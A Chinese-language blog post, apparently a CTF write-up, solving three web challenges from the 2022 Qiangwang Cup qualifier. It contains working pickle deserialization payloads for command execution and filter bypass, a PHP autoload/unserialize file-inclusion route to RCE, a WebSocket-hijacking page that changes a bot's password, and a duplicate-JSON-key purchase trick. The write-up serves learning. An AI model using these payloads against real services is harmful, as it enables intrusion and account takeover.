yink's studio

yink's world
Stay hungry, stay foolish.
  1. 首页
  2. CTF writeup
  3. 正文

强网杯2022初赛 web wp

2022年8月23日 197点热度 3人点赞 0条评论

crash

先给源码

import os
import base64
# import sqlite3
import pickle
from flask import Flask, make_response,request, session
import admin
import random

app = Flask(__name__,static_url_path='')
app.secret_key="5f352379324c22463451387a0aec5d2f"

class User:
    def __init__(self, username,password):
        self.username=username
        self.token=hash(password)

def get_password(username):
    if username=="admin":
        return admin.secret
    else:
        # conn=sqlite3.connect("user.db")
        # cursor=conn.cursor()
        # cursor.execute(f"select password from usertable where username='{username}'")
        # data=cursor.fetchall()[0]
        # if data:
        #     return data[0]
        # else:
        #     return None
        return session.get("password")

@app.route('/balancer', methods=['GET', 'POST'])
def flag():
    pickle_data=base64.b64decode(request.cookies.get("userdata"))
    if b'R' in pickle_data or b"secret" in pickle_data:
        return "You damm hacker!"
    os.system("rm -rf *py*")
    userdata=pickle.loads(pickle_data)
    if userdata.token!=hash(get_password(userdata.username)):
         return "Login First"
    if userdata.username=='admin':
        return "Welcome admin, here is your next challenge!"
    return "You're not admin!"

@app.route('/login', methods=['GET', 'POST'])
def login():
    print(request.values.get("password"))
    resp = make_response("success")
    session["password"]=request.values.get("password")
    resp.set_cookie("userdata", base64.b64encode(pickle.dumps(User(request.values.get("username"),request.values.get("password")),2)), max_age=3600)
    return resp

@app.route('/', methods=['GET', 'POST'])
def index():
    return open('source.txt',"r").read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5020)

有一些小改动,不过无伤大雅
这道题其实就是一个裸的python pickle反序列化

pickle源代码简析
在pickle.py里,发现loads等函数的来源:

# Use the faster _pickle if possible
try:
    from _pickle import (
        PickleError,
        PicklingError,
        UnpicklingError,
        Pickler,
        Unpickler,
        dump,
        dumps,
        load,
        loads
    )
except ImportError:
    Pickler, Unpickler = _Pickler, _Unpickler
    dump, dumps, load, loads = _dump, _dumps, _load, _loads

注意,_pickle.py是C语言实现的,速度会更快,这里其实是先尝试引入C实现的dumps等函数,如果不行,再引入python实现的函数,我们这里就看python代码即可(效果是一样的)

loads函数的实现:

def _loads(s, *, fix_imports=True, encoding="ASCII", errors="strict",
           buffers=None):
    if isinstance(s, str):
        raise TypeError("Can't load pickle from unicode string")
    file = io.BytesIO(s)
    return _Unpickler(file, fix_imports=fix_imports, buffers=buffers,
                      encoding=encoding, errors=errors).load()

这里的实现其实就是用了_Unpickler类的load函数,再看看_Unpickler类

        def load(self):
        """Read a pickled object representation from the open file.

        Return the reconstituted object hierarchy specified in the file.
        """
        # Check whether Unpickler was initialized correctly. This is
        # only needed to mimic the behavior of _pickle.Unpickler.dump().
        if not hasattr(self, "_file_read"):
            raise UnpicklingError("Unpickler.__init__() was not called by "
                                  "%s.__init__()" % (self.__class__.__name__,))
        self._unframer = _Unframer(self._file_read, self._file_readline)
        self.read = self._unframer.read
        self.readinto = self._unframer.readinto
        self.readline = self._unframer.readline
        self.metastack = []
        self.stack = []
        self.append = self.stack.append
        self.proto = 0
        read = self.read
        dispatch = self.dispatch
        try:
            while True:
                key = read(1)
                if not key:
                    raise EOFError
                assert isinstance(key, bytes_types)
                dispatch[key[0]](self)
        except _Stop as stopinst:
            return stopinst.value

前面是初始化,后面是开始依次读取字符,dispatch是一个dict,代表着字符与函数的映射,例如:

PROTO = b'\x80'  # identify pickle protocol
...
dispatch[PROTO[0]] = load_proto

这里\x80这个字符就映射到load_proto函数了。所以如果我们想去看指令码的效果,只需要看指令码对应的函数就可以了

以R指令码为例:

    def load_reduce(self):
        stack = self.stack
        args = stack.pop()
        func = stack[-1]
        stack[-1] = func(*args)

这就是R指令码的源代码,效果显而易见,从栈顶先弹出一个元素作为参数,然后再将下一个栈顶元素作为函数,执行。

常用的指令码一般有这样几个:
c(用于得到任意类/属性),R(直接执行),b(两次,第一次覆写__setstate__,第二次RCE),o(obj,执行命令),i(执行命令)

示例
一般来说,我们常用__reduce__方法来执行命令,例如:

def __reduce__(self):
    return (os.system,('ls /',))

其实__reduce__代表的是R指令码,做了下面三件事情:

  1. 取当前栈的栈顶记为args,然后把它弹掉。
  2. 取当前栈的栈顶记为f,然后把它弹掉。
  3. 以args为参数,执行函数f,把结果压进当前栈。

以下面的例子为例:

import os
import pickle
import pickletools

class diary():
    def __reduce__(self):
        return (os.system,("whoami",))

str = pickle.dumps(diary())
print(pickletools.optimize(str))
pickletools.dis(pickletools.optimize(str))

输出结果:

b'\x80\x04\x95\x18\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x8c\x06system\x93\x8c\x06whoami\x85R.'
    0: \x80 PROTO      4
    2: \x95 FRAME      24
   11: \x8c SHORT_BINUNICODE 'nt'
   15: \x8c SHORT_BINUNICODE 'system'
   23: \x93 STACK_GLOBAL
   24: \x8c SHORT_BINUNICODE 'whoami'
   32: \x85 TUPLE1
   33: R    REDUCE
   34: .    STOP

\x93指令码拿到了全局变量os.system函数,然后放入whoami字符串,TUPLE1指令使用栈顶的whoami字符串制造一个tuple,然后R指令码执行

有了上面的基础,可以看这篇文章:https://zhuanlan.zhihu.com/p/89132768

这道题过滤了R指令码和secret关键字,有几种解法:

  1. 直接RCE,除了R指令码还有好多可以RCE的方法
    payload = b"(cbuiltins\neval\nS\"__import__('os').popen('calc').read()\"\no."
  2. 虽然过滤了secret关键字,但是仍然可以绕过
    payload = b'''c__main__
    admin
    (S'\\x73ecret'
    S'1'
    db.'''
  3. 制造一个类,这个类与别的对象比较均为true(重写__eq__方法)
    (注意一点,obj1==obj2调用的是obj1.__eq__方法所以obj1==obj2和obj2==obj1结果可能不同)

在反序列化结束时,pickle的返回值是当前栈顶元素

    def load_stop(self):
        value = self.stack.pop()
        raise _Stop(value)

所以,还可以写这样的一个payload:

payload = b'''(c__builtin__
exec
S'class dem0:\\n class dem1:\\n  def __eq__(self, __o: object) -> bool:\\n   return True\\n token=dem1()\\n username='admin''
o(c__builtin__
eval
S'dem0()'
o.'''

接下来是一个负载均衡,目标是让服务器504

# nginx.vh.default.conf -- docker-openresty
#
# This file is installed to:
# `/etc/nginx/conf.d/default.conf`
#
# It tracks the `server` section of the upstream OpenResty's `nginx.conf`.
#
# This config (and any other configs in `etc/nginx/conf.d/`) is loaded by
# default by the `include` directive in `/usr/local/openresty/nginx/conf/nginx.conf`.
#
# See https://github.com/openresty/docker-openresty/blob/master/README.md#nginx-configfiles
#
lua_package_path "/lua-resty-balancer/lib/?.lua;;";
lua_package_cpath "/lua-resty-balancer/?.so;;";
server {
 listen 8088;
 server_name localhost;
 #charset koi8-r;
 #access_log /var/log/nginx/host.access.log main;
 location /gettestresult {
 default_type text/html;
 content_by_lua '
 local resty_roundrobin = require "resty.roundrobin"
 local server_list = {
 [ngx.var.arg_server1] = ngx.var.arg_weight1,
 [ngx.var.arg_server2] = ngx.var.arg_weight2,
 [ngx.var.arg_server3] = ngx.var.arg_weight3,
 }
 local rr_up = resty_roundrobin:new(server_list)
 for i = 0,9 do
 ngx.say("Server seleted for request ",i,":
    " ,rr_up:find(),"<br>")
 end
 ';
 }
 #error_page 404 /404.html;
 # redirect server error pages to the static page /50x.html
 #
 # proxy the PHP scripts to Apache listening on 127.0.0.1:80
 #
 #location ~ \.php$ {
 # proxy_pass http://127.0.0.1;
 #}
 # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
 #
 #location ~ \.php$ {
 # root /usr/local/openresty/nginx/html;
 # fastcgi_pass 127.0.0.1:9000;
 # fastcgi_index index.php;
 # fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
 # include fastcgi_params;
 #}
 # deny access to .htaccess files, if Apache's document root
 # concurs with nginx's one
 #
 #location ~ /\.ht {
 # deny all;
 #}
}

关键代码就是中间的lua代码,这是一个nginx的负载均衡,其中roundrobin代表的是轮询策略,见https://middleware.io/blog/round-robin-load-balancers/
504的办法有很多,介绍三种:

  1. weight=0,直接让服务端用不起来
  2. 504 Gateway Time-out就字面意思,我们可以理解为网页请求超时,也就是浏览网站网页所发出的请求没有反应或者未响应,在网站程序层面来说,就是请求未能够执行相应的PHP-CGI程序,或者PHP-CGI程序未能做出相应的处理,又或者是CGI程序的响应处理结果未能够反馈到浏览器或者未能及时反馈到浏览器。,是由于nginx默认的fastcgi进程响应缓冲区太小造成: 这种情况下导致fastcgi进程被挂起,如果fastcgi服务对这个挂起处理不是很好的话,就可能提示“504 Gateway Time-out”错误。
    所以,可以使用多线程爆破,或者RCE进去然后命令执行sleep超时阻塞也可以

rcefile

有www.zip,直接拿到源码
关键代码(config.inc.php)

<?php
spl_autoload_register();
error_reporting(0);

function e($str){
    return htmlspecialchars($str);
}
$userfile = empty($_COOKIE["userfile"]) ? [] : unserialize($_COOKIE["userfile"]);
?>
<p>
    <a href="/index.php">Index</a>
    <a href="/showfile.php">files</a>
</p>

发现有一个spl_autoload_register函数,官方文档

那我们来看看这个__autoload函数是什么

The spl_autoload_register() function registers any number of autoloaders, enabling for classes and interfaces to be automatically loaded if they are currently not defined. By registering autoloaders, PHP is given a last chance to load the class or interface before it fails with an error.
Any class-like construct may be autoloaded the same way. That includes classes, interfaces, traits, and enumerations.

__autoload函数就是在载入某个没有被定义的类或者是接口等等的时候执行的函数,在报错之前最后一次尝试加载。
官方给的例子:

Example #1 Autoload example
This example attempts to load the classes MyClass1 and MyClass2 from the files MyClass1.php and MyClass2.php respectively.

<?php
spl_autoload_register(function ($class_name) {
    include $class_name . '.php';
});

$obj  = new MyClass1();
$obj2 = new MyClass2();
?>

MyClass1类没有被定义,所以php会执行__autoload函数,这里是由spl_autoload_register指定的一个匿名函数,传入的参数就是类名。也就是执行了include MyClass1.php,这样就完成了加载。
这样我们就知道了,spl_autoloadregister函数其实是用来指定\_autoload函数如何实现,参数是一个函数(多次调用可以指定多个函数)。没有参数的时候加载默认实现spl_autoload:

惊喜地发现除了php之外还可以加载inc文件,而且inc文件还不在黑名单。同时,config.inc.php里面还有反序列化:
$userfile = empty($_COOKIE["userfile"]) ? [] : unserialize($_COOKIE["userfile"]);
于是,上传一个evil inc文件,得到文件名(这里是35b2c44e034e3bb12c2ac86823d0b46d):

然后,在cookie的userfile字段里传入一个类,类的名字跟文件名相同,这样加载的时候,这个类不存在,会执行__autoload函数,以类名为参数,所以会包含35b2c44e034e3bb12c2ac86823d0b46d.inc,这样就完成了任意文件包含,从而RCE

babyweb

一进去是个bot,直接在自己的VPS上面加恶意页面让bot访问(websocket劫持)
注意一点:加载js的过程是请求者浏览器把页面响应请求到本地然后再做解析,也就是说是请求者去执行js脚本
这道题没有同源策略的限制,但是有的题目里是会有这样的限制的,也就是说禁止对不同源的页面或资源进行解析,一种常见思路是利用表单提交绕过同源策略。
恶意页面示例:
(参考Nu1L战队wp)

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<button id="btn" type="button">点我发送请求</button>
</body>
<script type="text/javascript" src="js/jquery.js" ></script>
<script>
ws = new WebSocket("ws://127.0.0.1:8888/bot");
ws.onopen = function () {
var msg = "changepw 123456";
ws.send(msg);
document.getElementById("sendbox").value = "";
document.getElementById("chatbox").append("你: " + msg + "\r\n");
 }
</script>
</html>

bot访问之后就修改了密码了,然后admin登录,购买hint拿到源码,是一个python和go构成的购买系统,但是python使用的是python原生的json解析器,这两个解析器对于json中的重复键处理方式不同,python接受的是最后一个值,而go接受的是第一个值。
参考:https://pankas.top/2022/08/01/%E5%BC%BA%E7%BD%91%E6%9D%AF2022-%E9%83%A8%E5%88%86web%E5%A4%8D%E7%8E%B0/


所以考虑构造重复的键值,python接收到购买的数量是1,而go接收到付款的数量是0,这样就可以不花钱买到flag

{
  "product":[
    {
      "id":1,
      "num":0,
      "num":1
    },
    {
      "id":2,
      "num":0,
      "num":1
    }
  ]
}
本作品采用 知识共享署名 4.0 国际许可协议 进行许可
标签: 暂无
最后更新:2022年9月2日

yink

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

取消回复

COPYRIGHT © 2021 101.34.164.187. ALL RIGHTS RESERVED.

THEME KRATOS MADE BY VTROIS